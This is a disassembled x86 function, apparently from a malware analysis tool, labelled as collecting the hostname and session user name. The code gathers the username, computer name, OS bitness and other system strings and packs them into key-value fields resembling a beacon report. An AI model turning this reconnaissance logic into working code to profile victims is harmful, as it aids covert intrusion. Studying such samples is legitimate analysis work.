Function at 0x401cb0
Capabilities:
Get hostname
Get session user name

Disassembly:
push ebp
lea ebp, [esp - 0x74]
sub esp, 0x10c
cmp dword [ebp + 0x7c], 1
jne 0x401ccb
mov eax, dword [0x407480]
mov dword [ebp + 0x70], eax
jmp 0x401cd4
mov ecx, dword [0x407484]
mov dword [ebp + 0x70], ecx
cmp dword [ebp + 0x7c], 1
jne 0x401db6
push 0x40
push 0
lea edx, [ebp - 0x18]
push edx
call fcn.00401940
add esp, 0xc
mov dword [ebp + 0x6c], 0x40
lea eax, [ebp + 0x6c]
push eax
lea ecx, [ebp - 0x18]
push ecx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea edx, [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, dword [ebp + 0x70]
mov dword [ebp + 0x70], eax
push 0x40
push 0
lea eax, [ebp - 0x58]
push eax
call fcn.00401940
add esp, 0xc
mov dword [ebp + 0x6c], 0x40
lea ecx, [ebp + 0x6c]
push ecx
lea edx, [ebp - 0x58]
push edx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, dword [ebp + 0x70]
mov dword [ebp + 0x70], eax
push 0x40
push 0
lea ecx, [ebp - 0x98]
push ecx
call fcn.00401940
add esp, 0xc
lea edx, [ebp - 0x98]
push edx
call fcn.00401fc0
add esp, 4
lea eax, [ebp - 0x98]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, dword [ebp + 0x70]
mov dword [ebp + 0x70], eax
cmp dword [0x408b70], 1
jne 0x401d97
push str.64_Bit
lea ecx, [ebp + 0x5c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x401da6
push str.32_Bit
lea edx, [ebp + 0x5c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp + 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, dword [ebp + 0x70]
mov dword [ebp + 0x70], eax
push 0x408b40
lea ecx, [ebp + 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [ebp + 0x28]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, dword [ebp + 0x70]
mov dword [ebp + 0x70], eax
push 0xa
push 0
lea eax, [ebp + 0x50]
push eax
call fcn.00401940
add esp, 0xc
lea ecx, [ebp + 0x50]
push ecx
call fcn.004021a0
add esp, 4
lea edx, [ebp + 0x50]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, dword [ebp + 0x70]
mov dword [ebp + 0x70], eax
call fcn.00402200
mov dword [ebp + 0x68], eax
mov eax, dword [ebp + 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, dword [ebp + 0x70]
mov dword [ebp + 0x70], eax
push 0x408ae0
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [ebp + 0x70]
add ecx, dword [0x408b1c]
mov dword [ebp + 0x70], ecx
mov edx, dword [ebp + 0x70]
shl edx, 1
push edx
push 8
mov eax, dword [0x408b0c]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [0x408b68], eax
mov ecx, dword [0x408b68]
push ecx
lea edx, [ebp + 0x28]
push edx
push str.page
call fcn.00402370
add esp, 0xc
cmp dword [0x408b1c], 0
jbe 0x401eb6
mov eax, dword [0x408b6c]
sub eax, dword [0x408b1c]
mov dword [0x408b6c], eax
mov ecx, dword [0x408b68]
push ecx
mov edx, dword [0x408b6c]
push edx
push str.ump
call fcn.00402370
add esp, 0xc
mov eax, dword [0x408b1c]
push eax
push 0
mov ecx, dword [0x408b6c]
push ecx
call fcn.00401940
add esp, 0xc
mov dword [0x408b1c], 0
push 0x408ae0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
cmp dword [ebp + 0x7c], 1
jne 0x401f29
mov edx, dword [0x408b68]
push edx
lea eax, [ebp - 0x18]
push eax
push str.unm
call fcn.00402370
add esp, 0xc
mov ecx, dword [0x408b68]
push ecx
lea edx, [ebp - 0x58]
push edx
push str.cnm
call fcn.00402370
add esp, 0xc
mov eax, dword [0x408b68]
push eax
lea ecx, [ebp - 0x98]
push ecx
push str.query
call fcn.00402370
add esp, 0xc
mov edx, dword [0x408b68]
push edx
lea eax, [ebp + 0x5c]
push eax
push str.spec
call fcn.00402370
add esp, 0xc
mov ecx, dword [0x408b68]
push ecx
lea edx, [ebp + 0x50]
push edx
push str.opt
call fcn.00402370
add esp, 0xc
mov eax, dword [0x408b68]
push eax
mov ecx, dword [ebp + 0x68]
push ecx
push str.view
call fcn.00402370
add esp, 0xc
push str.Machines
push 0x408b20
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [0x408b68]
push edx
push 0x408b20
push str.var
call fcn.00402370
add esp, 0xc
push 0x407470
mov eax, dword [0x408b68]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x4083f0
mov ecx, dword [0x408b68]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov edx, dword [ebp + 0x68]
push edx
push 0
mov eax, dword [0x408b0c]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
add ebp, 0x74
mov esp, ebp
pop ebp
ret